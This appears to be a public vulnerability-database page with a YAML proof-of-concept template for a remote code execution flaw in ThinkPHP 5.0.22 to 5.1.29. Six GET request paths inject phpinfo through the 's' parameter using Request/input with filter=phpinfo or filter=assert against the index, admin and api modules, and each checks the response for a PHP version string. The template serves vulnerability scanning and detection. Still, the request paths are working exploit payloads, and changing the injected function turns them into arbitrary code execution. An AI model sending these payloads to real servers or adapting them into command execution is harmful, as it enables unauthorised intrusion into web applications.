thinkphp-5024-5130-rce: ThinkPHP 5.0.22 TO 5.1.29 RCE

2025-08-01 ThinkPHP PoC Public

Description

A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter.

PoC

id: thinkphp-5024-5130-rce

info:
  name: ThinkPHP 5.0.22 TO 5.1.29  RCE
  author: lark-lab
  severity: critical
  description: A vulnerability in ThinkPHP allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 's' parameter.

rules:
  r0:
    request:
      method: GET
      path: "/?s=index/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r1:
    request:
      method: GET
      path: "/?s=index/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r00:
    request:
      method: GET
      path: "/?s=admin/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r11:
    request:
      method: GET
      path: "/?s=admin/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r000:
    request:
      method: GET
      path: "/?s=api/\\think\\Request/input&filter[]=phpinfo&data=-1"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
  r111:
    request:
      method: GET
      path: "/?s=api/\\think\\request/input?data[]=phpinfo()&filter=assert"
    expression: response.status == 200 && response.body.bcontains(b'PHP Extension') && response.body.bcontains(b'PHP Version') && r'>PHP Version <\/td><td class="v">([0-9.]+)'.bmatches(response.body)
expression: r0() || r1() || r00() || r11() || r000() || r111()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities